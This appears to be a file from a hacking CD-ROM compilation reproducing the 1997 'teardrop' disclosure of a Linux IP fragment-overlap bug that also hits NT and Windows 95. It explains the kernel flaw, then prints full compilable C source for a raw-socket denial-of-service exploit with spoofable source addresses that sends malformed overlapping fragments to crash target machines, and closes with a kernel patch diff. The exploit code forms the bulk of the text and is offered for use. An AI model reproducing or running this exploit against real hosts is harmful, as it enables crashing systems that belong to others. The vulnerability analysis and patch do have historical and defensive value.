home *** CD-ROM | disk | FTP | other *** search
/ Power Hacker 2003 / Power_Hacker_2003.iso / Exploit and vulnerability / hoobie / teardrop.c < prev    next >
Encoding:
C/C++ Source or Header  |  2001-11-06  |  12.4 KB  |  371 lines

  1.  
  2. Source: http://www.roothshell.com
  3.  
  4. Rootshell update:
  5.  
  6. Linux 2.0.32 will include the IP frag patch for this exploit.  Microsoft has
  7. a patch that will correct this problem available at :
  8.  
  9. ftp://ftp.microsoft.com/bussys/winnt/winnt-public/fixes/usa/nt40/hotfixes-postSP3/simptcp-fix
  10.  
  11. Date:         Thu, 13 Nov 1997 22:06:15 -0800
  12. From:         G P R <route@RESENTMENT.INFONEXUS.COM>
  13. Subject:      Linux IP fragment overlap bug
  14.  
  15.     Helu.
  16.  
  17.     I wrote this post a while back when the bug was first discovered.  It
  18. seems as though this bug (and patch) has gotten out, so here it is, in it's
  19. entirety.
  20.  
  21.     As it happens, Linux has a serious bug in it's IP fragmentation module.
  22. More specifically, in the fragmentation reassembly code.  More specifically,
  23. the bug manifests itself in the `ip_glue()` function....
  24.  
  25.     When Linux reassembles IP fragments to form the original IP datagram, it
  26. runs in a loop, copying the payload from all the queued fragments into a newly
  27. allocated buffer (which would then normally be passed to the IP layer proper).
  28. From ip_fragment.c@376:
  29.  
  30.         fp = qp->fragments;
  31.         while(fp != NULL)
  32.         {
  33.                 if(count+fp->len > skb->len)
  34.                 {
  35.                     error_to_big;
  36.                 }
  37.                 memcpy((ptr + fp->offset), fp->ptr, fp->len);
  38.                 count += fp->len;
  39.                 fp = fp->next;
  40.         }
  41.  
  42.     While it does check to see if the fragment length is too large, which would
  43. have the kernel copy too much data, it doesn't check to see if the fragment
  44. length is too small, which would have the kernel copy WAY too data (such is the
  45. case if fp->len is < 0).
  46.  
  47.     To see when this happens, we need to look at how Linux adds IP datagrams
  48. to the reassembly queue.  From ip_fragment.c@502:
  49.  
  50.         /*
  51.          *      Determine the position of this fragment.
  52.          */
  53.  
  54.         end = offset + ntohs(iph->tot_len) - ihl;
  55.  
  56.     Ok.  That's nice.  Now we have to look at what happens when we have
  57. overlaping fragments...  From ip_fragment.c@531:
  58.  
  59.         /*
  60.          *      We found where to put this one.
  61.          *      Check for overlap with preceding fragment, and, if needed,
  62.          *      align things so that any overlaps are eliminated.
  63.          */
  64.         if (prev != NULL && offset < prev->end)
  65.         {
  66.                 i = prev->end - offset;
  67.                 offset += i;    /* ptr into datagram */
  68.                 ptr += i;       /* ptr into fragment data */
  69.         }
  70.  
  71.     If we find that the current fragment's offset is inside the end of a
  72. previous fragment (overlap), we need to (try) align it correctly.  Well, this
  73. is fine and good, unless the payload of the current fragment happens to NOT
  74. contain enough data to cover the realigning.  In that case, `offset` will end
  75. up being larger then `end`.  These two values are passed to `ip_frag_create()`
  76. where the length of the fragment data is computed.  From ip_fragment.c@97:
  77.  
  78.         /* Fill in the structure. */
  79.         fp->offset = offset;
  80.         fp->end = end;
  81.         fp->len = end - offset;
  82.  
  83.     This results in fp->len being negative and the memcpy() at the top will end
  84. up trying to copy entirely too much data, resulting in a reboot or a halt,
  85. depending on how much physical memory you've got.
  86.  
  87.     We can trigger this normally unlikely event by simply sending 2 specially
  88. fragmented IP datagrams.  The first is the 0 offset fragment with a payload of
  89. size N, with the MF bit on (data content is irrelevant).  The second is the
  90. last fragment (MF == 0) with a positive offset < N and with a payload of < N.
  91.  
  92.     Every linux implementation I have been able to look at seems to have this
  93. problem (1.x - 2.x, including the development kernels).
  94.  
  95.     Oh, by the way, NT/95 appear to have the bug also.  Try sending 10 - 15 of
  96. these fragment combos to an NT/95 machine.
  97.  
  98.     Special thanks to klepto for bringing the problem to my attention and
  99. writing the initial exploit.
  100.  
  101.             route|daemon9           route@infonexus.com
  102.  
  103. ------[Begin] -- Guby Linux -------------------------------------------------
  104.  
  105. /*
  106.  *  Copyright (c) 1997 route|daemon9  <route@infonexus.com> 11.3.97
  107.  *
  108.  *  Linux/NT/95 Overlap frag bug exploit
  109.  *
  110.  *  Exploits the overlapping IP fragment bug present in all Linux kernels and
  111.  *  NT 4.0 / Windows 95 (others?)
  112.  *
  113.  *  Based off of:   flip.c by klepto
  114.  *  Compiles on:    Linux, *BSD*
  115.  *
  116.  *  gcc -O2 teardrop.c -o teardrop
  117.  *      OR
  118.  *  gcc -O2 teardrop.c -o teardrop -DSTRANGE_BSD_BYTE_ORDERING_THING
  119.  */
  120.  
  121. #include <stdio.h>
  122. #include <stdlib.h>
  123. #include <unistd.h>
  124. #include <string.h>
  125. #include <netdb.h>
  126. #include <netinet/in.h>
  127. #include <netinet/udp.h>
  128. #include <arpa/inet.h>
  129. #include <sys/types.h>
  130. #include <sys/time.h>
  131. #include <sys/socket.h>
  132.  
  133. #ifdef STRANGE_BSD_BYTE_ORDERING_THING
  134.                         /* OpenBSD < 2.1, all FreeBSD and netBSD, BSDi < 3.0 */
  135. #define FIX(n)  (n)
  136. #else                   /* OpenBSD 2.1, all Linux */
  137. #define FIX(n)  htons(n)
  138. #endif  /* STRANGE_BSD_BYTE_ORDERING_THING */
  139.  
  140. #define IP_MF   0x2000  /* More IP fragment en route */
  141. #define IPH     0x14    /* IP header size */
  142. #define UDPH    0x8     /* UDP header size */
  143. #define PADDING 0x1c    /* datagram frame padding for first packet */
  144. #define MAGIC   0x3     /* Magic Fragment Constant (tm).  Should be 2 or 3 */
  145. #define COUNT   0x1     /* Linux dies with 1, NT is more stalwart and can
  146.                          * withstand maybe 5 or 10 sometimes...  Experiment.
  147.                          */
  148. void usage(u_char *);
  149. u_long name_resolve(u_char *);
  150. u_short in_cksum(u_short *, int);
  151. void send_frags(int, u_long, u_long, u_short, u_short);
  152.  
  153. int main(int argc, char **argv)
  154. {
  155.     int one = 1, count = 0, i, rip_sock;
  156.     u_long  src_ip = 0, dst_ip = 0;
  157.     u_short src_prt = 0, dst_prt = 0;
  158.     struct in_addr addr;
  159.  
  160.     fprintf(stderr, "teardrop   route|daemon9\n\n");
  161.  
  162.     if((rip_sock = socket(AF_INET, SOCK_RAW, IPPROTO_RAW)) < 0)
  163.     {
  164.         perror("raw socket");
  165.         exit(1);
  166.     }
  167.     if (setsockopt(rip_sock, IPPROTO_IP, IP_HDRINCL, (char *)&one, sizeof(one))
  168.         < 0)
  169.     {
  170.         perror("IP_HDRINCL");
  171.         exit(1);
  172.     }
  173.     if (argc < 3) usage(argv[0]);
  174.     if (!(src_ip = name_resolve(argv[1])) || !(dst_ip = name_resolve(argv[2])))
  175.     {
  176.         fprintf(stderr, "What the hell kind of IP address is that?\n");
  177.         exit(1);
  178.     }
  179.  
  180.     while ((i = getopt(argc, argv, "s:t:n:")) != EOF)
  181.     {
  182.         switch (i)
  183.         {
  184.             case 's':               /* source port (should be emphemeral) */
  185.                 src_prt = (u_short)atoi(optarg);
  186.                 break;
  187.             case 't':               /* dest port (DNS, anyone?) */
  188.                 dst_prt = (u_short)atoi(optarg);
  189.                 break;
  190.             case 'n':               /* number to send */
  191.                 count   = atoi(optarg);
  192.                 break;
  193.             default :
  194.                 usage(argv[0]);
  195.                 break;              /* NOTREACHED */
  196.         }
  197.     }
  198.     srandom((unsigned)(time((time_t)0)));
  199.     if (!src_prt) src_prt = (random() % 0xffff);
  200.     if (!dst_prt) dst_prt = (random() % 0xffff);
  201.     if (!count)   count   = COUNT;
  202.  
  203.     fprintf(stderr, "Death on flaxen wings:\n");
  204.     addr.s_addr = src_ip;
  205.     fprintf(stderr, "From: %15s.%5d\n", inet_ntoa(addr), src_prt);
  206.     addr.s_addr = dst_ip;
  207.     fprintf(stderr, "  To: %15s.%5d\n", inet_ntoa(addr), dst_prt);
  208.     fprintf(stderr, " Amt: %5d\n", count);
  209.     fprintf(stderr, "[ ");
  210.  
  211.     for (i = 0; i < count; i++)
  212.     {
  213.         send_frags(rip_sock, src_ip, dst_ip, src_prt, dst_prt);
  214.         fprintf(stderr, "b00m ");
  215.         usleep(500);
  216.     }
  217.     fprintf(stderr, "]\n");
  218.     return (0);
  219. }
  220.  
  221. /*
  222.  *  Send two IP fragments with pathological offsets.  We use an implementation
  223.  *  independent way of assembling network packets that does not rely on any of
  224.  *  the diverse O/S specific nomenclature hinderances (well, linux vs. BSD).
  225.  */
  226.  
  227. void send_frags(int sock, u_long src_ip, u_long dst_ip, u_short src_prt,
  228.                 u_short dst_prt)
  229. {
  230.     u_char *packet = NULL, *p_ptr = NULL;   /* packet pointers */
  231.     u_char byte;                            /* a byte */
  232.     struct sockaddr_in sin;                 /* socket protocol structure */
  233.  
  234.     sin.sin_family      = AF_INET;
  235.     sin.sin_port        = src_prt;
  236.     sin.sin_addr.s_addr = dst_ip;
  237.  
  238.     /*
  239.      * Grab some memory for our packet, align p_ptr to point at the beginning
  240.      * of our packet, and then fill it with zeros.
  241.      */
  242.     packet = (u_char *)malloc(IPH + UDPH + PADDING);
  243.     p_ptr  = packet;
  244.     bzero((u_char *)p_ptr, IPH + UDPH + PADDING);
  245.  
  246.     byte = 0x45;                        /* IP version and header length */
  247.     memcpy(p_ptr, &byte, sizeof(u_char));
  248.     p_ptr += 2;                         /* IP TOS (skipped) */
  249.     *((u_short *)p_ptr) = FIX(IPH + UDPH + PADDING);    /* total length */
  250.     p_ptr += 2;
  251.     *((u_short *)p_ptr) = htons(242);   /* IP id */
  252.     p_ptr += 2;
  253.     *((u_short *)p_ptr) |= FIX(IP_MF);  /* IP frag flags and offset */
  254.     p_ptr += 2;
  255.     *((u_short *)p_ptr) = 0x40;         /* IP TTL */
  256.     byte = IPPROTO_UDP;
  257.     memcpy(p_ptr + 1, &byte, sizeof(u_char));
  258.     p_ptr += 4;                         /* IP checksum filled in by kernel */
  259.     *((u_long *)p_ptr) = src_ip;        /* IP source address */
  260.     p_ptr += 4;
  261.     *((u_long *)p_ptr) = dst_ip;        /* IP destination address */
  262.     p_ptr += 4;
  263.     *((u_short *)p_ptr) = htons(src_prt);       /* UDP source port */
  264.     p_ptr += 2;
  265.     *((u_short *)p_ptr) = htons(dst_prt);       /* UDP destination port */
  266.     p_ptr += 2;
  267.     *((u_short *)p_ptr) = htons(8 + PADDING);   /* UDP total length */
  268.  
  269.     if (sendto(sock, packet, IPH + UDPH + PADDING, 0, (struct sockaddr *)&sin,
  270.                 sizeof(struct sockaddr)) == -1)
  271.     {
  272.         perror("\nsendto");
  273.         free(packet);
  274.         exit(1);
  275.     }
  276.  
  277.     /*  We set the fragment offset to be inside of the previous packet's
  278.      *  payload (it overlaps inside the previous packet) but do not include
  279.      *  enough payload to cover complete the datagram.  Just the header will
  280.      *  do, but to crash NT/95 machines, a bit larger of packet seems to work
  281.      *  better.
  282.      */
  283.     p_ptr = &packet[2];         /* IP total length is 2 bytes into the header */
  284.     *((u_short *)p_ptr) = FIX(IPH + MAGIC + 1);
  285.     p_ptr += 4;                 /* IP offset is 6 bytes into the header */
  286.     *((u_short *)p_ptr) = FIX(MAGIC);
  287.  
  288.     if (sendto(sock, packet, IPH + MAGIC + 1, 0, (struct sockaddr *)&sin,
  289.                 sizeof(struct sockaddr)) == -1)
  290.     {
  291.         perror("\nsendto");
  292.         free(packet);
  293.         exit(1);
  294.     }
  295.     free(packet);
  296. }
  297.  
  298. u_long name_resolve(u_char *host_name)
  299. {
  300.     struct in_addr addr;
  301.     struct hostent *host_ent;
  302.  
  303.     if ((addr.s_addr = inet_addr(host_name)) == -1)
  304.     {
  305.         if (!(host_ent = gethostbyname(host_name))) return (0);
  306.         bcopy(host_ent->h_addr, (char *)&addr.s_addr, host_ent->h_length);
  307.     }
  308.     return (addr.s_addr);
  309. }
  310.  
  311. void usage(u_char *name)
  312. {
  313.     fprintf(stderr,
  314.             "%s src_ip dst_ip [ -s src_prt ] [ -t dst_prt ] [ -n how_many ]\n",
  315.             name);
  316.     exit(0);
  317. }
  318.  
  319. /* EOF */
  320.  
  321. ------[End] -- Guby Linux ----------------------------------------------------
  322.  
  323.     And the patch:
  324.  
  325. ------[Begin] -- Helu Linux -------------------------------------------------
  326.  
  327. --- ip_fragment.c       Mon Nov 10 14:58:38 1997
  328. +++ ip_fragment.c.patched       Mon Nov 10 19:18:52 1997
  329. @@ -12,6 +12,7 @@
  330.   *             Alan Cox        :       Split from ip.c , see ip_input.c for history.
  331.   *             Alan Cox        :       Handling oversized frames
  332.   *             Uriel Maimon    :       Accounting errors in two fringe cases.
  333. + *             route           :       IP fragment overlap bug
  334.   */
  335.  
  336.  #include <linux/types.h>
  337. @@ -578,6 +579,22 @@
  338.                         frag_kfree_s(tmp, sizeof(struct ipfrag));
  339.                 }
  340.         }
  341. +
  342. +        /*
  343. +         * Uh-oh.  Some one's playing some park shenanigans on us.
  344. +         * IP fragoverlap-linux-go-b00m bug.
  345. +         * route 11.3.97
  346. +         */
  347. +
  348. +        if (offset > end)
  349. +        {
  350. +                skb->sk = NULL;
  351. +                printk("IP: Invalid IP fragment (offset > end) found from %s\n", in_ntoa(iph->saddr));
  352. +                kfree_skb(skb, FREE_READ);
  353. +                ip_statistics.IpReasmFails++;
  354. +                ip_free(qp);
  355. +                return NULL;
  356. +        }
  357.  
  358.         /*
  359.          *      Insert this fragment in the chain of fragments.
  360.  
  361. ------[End] -- Helu Linux ----------------------------------------------------
  362.  
  363. EOF
  364.  
  365. --
  366.         Corporate
  367.                 Persuasion
  368.                          Through
  369.                                Internet
  370.                                       Terrorism.
  371.